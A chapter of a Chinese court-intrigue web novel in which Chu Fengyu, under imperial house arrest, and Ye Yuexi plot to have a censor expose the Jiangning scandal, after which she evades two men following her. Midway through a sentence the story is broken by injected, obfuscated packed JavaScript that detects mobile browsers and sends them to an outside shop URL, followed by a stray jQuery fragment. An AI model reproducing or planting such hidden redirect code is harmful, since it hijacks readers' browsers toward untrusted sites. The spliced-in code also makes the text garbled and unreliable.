楚风玉想过这件事瞒不了多久,倒是未曾猜想,不过一日,他的行踪便已经入了陛下的耳中。
楚风玉心下一沉,面上不显:“陛下可有旨意?”
“没有明旨。”楚桑晚上前两步,宽大的手掌拍上楚风玉的肩:“内侍只传了句口谕。”
“既然回来了,便与家中之人多团聚。三年时间,珲都景色也变了不少,记得多看看,只是别走得太远,忘了归家路。”
话落,楚风玉袖中的手悄然握紧,指尖陷入掌心,带来细微的刺痛。
叶月兮也是一愣。这几乎是毫不掩饰的软禁。看似温和叮嘱,实则句句都是敲打。
这话里话外,皆是警告他安守本分,更是将他牢牢圈死在珲都内,提醒着他莫要再像三年前那样擅自离开珲都,更不要生出不该有的心思。
“陛下正在忧心边境战事,这几日你莫要与旁的官员接触,横生枝节,包括左相。”楚桑晚收回手,“带叶姑娘去客院吧,早些休息。”
叶月兮的视线跟随着楚桑晚,直至楚桑晚的身影消失在视线中,她方才收回。
“若是不做出些功绩入朝,你会很危险。”叶月兮的声音在这个平静的夜里显得格外突出。
楚风玉叹息一声,“但现如今,我连朝堂官员都无法接触,又如何了解局势、做出功绩来。”
叶月兮沉思片刻,开口道:“工部侍郎。”
楚风玉低垂的眉眼在听见这句话的时候顷刻抬起,他转过身来看向叶月兮:“杨珃伦?可师父说,江宁一事暂且还不易捅破。”
叶月兮四处看了看,如今连亲王府虽说灯火通明,但现下四处无人,周围连一个丫鬟仆从都不曾见到,实在令人有些不安。
“世子不如先带我去客房?”
楚风玉点了点头,“好。”
楚风玉提了一盏灯笼,两人一前一后,穿过灯火通明的正厅,转入通往客院的回廊。这一路倒是碰见了不少丫鬟仆从,个个低垂着眉目从身旁而过。
看着这些行色匆匆的人,叶月兮的担心也不无道理。连亲王树大招风,府内仆从数不胜数,难保这些人当中究竟混入了多少眼线,事关大局,叶月兮不得不顾虑多一些。
客院的位置不算偏僻,距离正院和楚风玉的院子都有一段距离,既不失礼,又保持恰到好处的距离。
楚风玉带着人入了院子,院内陈设简洁干净,该有的东西一应俱全。楚风玉将院门的门闩合上,这才带着叶月兮朝着屋子而去。
入了屋,楚风玉将灯笼放于桌上,烛火照耀了半边屋子,他拿出灯笼里的烛火,小心翼翼地将烛台上的蜡烛全部点燃,将这一方小天地照得亮如白昼。
叶月兮拉过凳子坐下,这才续着方才的道:“虽说工部侍郎牵扯江宁贪污一案,但江宁可不止贪污案,还有县令身亡一案尚未定罪。”
之前在江宁,楚风玉曾将叶月兮误以为是杀人凶手,但却终究是误会。
地牢里的那人,方为真凶。
曾经楚风玉和叶月兮说过,她入地牢的那一夜,那个血人曾招供,他和叶月兮是一伙的,他们两人共同潜入县衙杀害了县令。
可这件事,叶月兮从未做过。
那人是楚风玉自赈灾队伍中揪出来的,他行事鬼祟,甚至于几次三番脱离队伍。楚风玉暗中调查时,正巧撞见他一袭黑衣在夜里如鬼魅般穿梭。
第二日,他便将人揪了出来。
然而他的确也招供了,只不过是连带着拉叶月兮一并下了水,而他招供的,却也不只有叶月兮,还有那工部尚书。
“杨珃伦作为工部侍郎,知晓江宁县令身死却隐瞒不报,玩忽职守,本就该罚。”叶月兮平静地道。
楚风玉倒是从未想过这一层。
叶月兮续道:“江宁贪污一事,可是能杀头的。杨珃伦再如何也不会自己说出来,既然我们已经暴露在敌方眼前,又何必替他遮掩,该慌的理应是他们。”
叶月兮抬手摘下帷帽和面具,将它们轻放于桌上,“至于工部尚书,清者自清。”
她抬起眼来看向楚风玉,楚风玉如今就站在桌前,那双桃花眼一眨不眨地盯着她,眼中充满了笑意。
叶月兮只看了一眼便移开了目光,转向桌上那盏烛台中微微摇晃的烛火。
“我果真未看错人。”楚风玉轻声道:“只是这几日我恐只能待在府内,此事还得劳烦你跑一趟。我今夜会写出一份折子来,明日你替我转交给老师如何?”
闻言,叶月兮却是摇了摇头:“陛下本就不愿你与官员相往来,若是这份折子由左相呈上,恐会引得陛下猜忌,有结党营私之嫌。”
楚风玉眼中的笑意淡去,眉头微蹙:“那依你之见,当如何?”
叶月兮指尖轻叩桌面,发出规律的声响,她沉思片刻道:“此事,不能由你直接出面,更不能通过左相。需得借他人之口,最好是与连亲王府毫无瓜葛,立场中立之人出面,方为稳妥之举。”
“这样的人……”楚风玉在脑海中迅速筛过朝中官员。朝中人员大多站队,哪怕是王浮休,纵然孑然一身、为官清廉,但身为楚风玉的老师,尽管表面上为中立,可终归是要偏向楚风玉一些的。
这样的人,少之又少。
“御史台。”叶月兮出声道:“江宁县令身亡,地方瞒报,本就有违律法,触犯的是朝廷纲纪。此事,最该过问,也最有理由过问的,便是行监察百官之职的御史。”
楚风玉眸光一亮,他拉过一旁的凳子便坐下,目光灼灼地看着叶月兮:“你的意思是,让御史出面弹劾。但……此事该如何让御史知晓?”
叶月兮道:“江宁之事,虽未大肆宣扬,但赈灾队伍回都,总会有些风声会透出去的。纵然他们隐藏得再好,可世上没有不透风的墙。县令身亡这件事,地方上不可能毫无痕迹,只要有人稍微留心,总会找到线索的。”
此计的确可行。御史言官,从不畏惧强权,一点风吹草动,危害家国之举,在他们眼中都是比命还要大的事情。
“世子手眼通天,江宁赈灾队伍中的人你应该已经掌握大半,这其中,总有为名利、金银甘愿冒险之人。”
楚风玉现下已经明了了,他点了点头,站起身来:“那你先休息,我去安排。”
楚风玉出了院子,四下便顷刻静了下来。叶月兮看着面前跳跃的烛火,思绪纷杂。
若是要寻御史之人,楚风玉又不得出府,借着这个机会,也不知能否单独面见左相。
叶月兮所求不多,能够知晓母亲身亡当日之事,便已经足够了。
第二日清晨,叶月兮方才梳洗完带好面具和帷帽,院门便传来轻敲声。
院门打开,楚风玉递过来一个名册。
看他眼下浅淡的乌青,当是一夜为了此事未曾合眼。
楚风玉道:“我将江宁赈灾队伍中的人理了一遍,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156048|193525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些应当能为我们所用。”他给了叶月兮一个令牌,那是他的世子令,“有这个你行事会方便一些。”
楚风玉的目光却是一刻都未曾从叶月兮面上挪开,纵然层层阻隔挡住了她的面,但隔着那层薄纱,楚风玉依旧能看清她的眼。
他似乎有些不愿,不愿叶月兮去替自己冒这么大的风险,他自己尚且还处于泥潭之中,又何忍叶月兮也深陷泥潭中。
但他们别无选择。
叶月兮垂目,接过了楚风玉手中的令牌,声音平淡:“定不负世子所托。”
言罢,叶月兮略过楚风玉,朝着院门而去,然而刚跨出两步,手腕上便传来一道力道。
楚风玉拉住了她。
他转过身来看向她,声音低哑:“此事只能交由你一人,珲都凶险,完事小心……若身险,不必顾及我,你且去寻左相,让他护你。”
叶月兮也知道楚风玉担忧自己的安危,她轻叹一声,回头看去,“世子放心,我是一个惜命之人,断不会让自己出事的。”
楚风玉看了她半晌,总算是松开手来,“记得回来吃饭。”
叶月兮懂了楚风玉的言外之意,她应下:“晚上见。”
叶月兮出了客院,要了匹马径直出了连亲王府。
马匹踏过珲都清晨湿漉的石板路,蹄声清脆。叶月兮帷帽遮面,袖中藏着楚风玉给的名单与玉牌,心中已有了计策。
她并未直接去寻名单上的人,而是先去了城西。
城西多为百姓居住之所,这里不比那城东达官显贵云集之地戒备森严、眼线密布。但叶月兮并未停下马来,她入了那早市中最为繁华的地带。
身为连亲王府的客人,在珲都中,她如今也算得上是备受瞩目了。
叶月兮知道,自她踏出王府的那一刻起,暗中的眼睛便不会少。
珲都水深,难说这帮人究竟是观望,还是会横插一脚。
早市喧嚣,人声鼎沸。叶月兮下了马,她牵着马匹缓缓穿行在拥挤的人流之中。
叶月兮并未刻意隐藏自己的踪迹,反而在一些小摊前驻足,四处观看,偶尔与摊主低声交谈几句,兴致好了便出钱将那些小玩意儿买下。
她动作从容,那帷帽之下的目光却是锐利地扫过四周。她能感受到那些目光,或远或近,或小心翼翼或明目张胆。
叶月兮接过摊主包好的香囊,手指勾住那绳子收了过来。她纵身上马,行至一处较为开阔的岔路口,叶月兮停了下来,似乎有些犹豫该往哪边走。
她侧身,仿若在整理马鞍旁的马褡子,实则借着这个动作,用余光飞速地锁定了身后人群中两个看似闲逛、却始终与她保持不远不近距离的身影。
一人身穿褐色短打,状似挑夫;另一人半旧青衫,像个落魄书生。
叶月兮心中有了数,不再迟疑,骑马转向另一条相对狭窄、人流较少的巷子。巷子两侧是高墙,遮住了部分天光,显得幽深安静。蹄声在青石板上回荡,清晰可闻。
身后,那两人果然跟了进来,脚步放得更轻,距离也拉近了些。
叶月兮不动声色,继续前行。前方巷口有个弯,她转过弯角,身影消失在跟踪者的视线中。
褐衣挑夫和青衫书生对视一眼,加快了脚步跟了上去。
然而,待他们转过弯角,却见空荡的巷道中独留一匹马儿,它低头啃着墙边石缝中冒出的几根杂草,而马背上的人消失无影。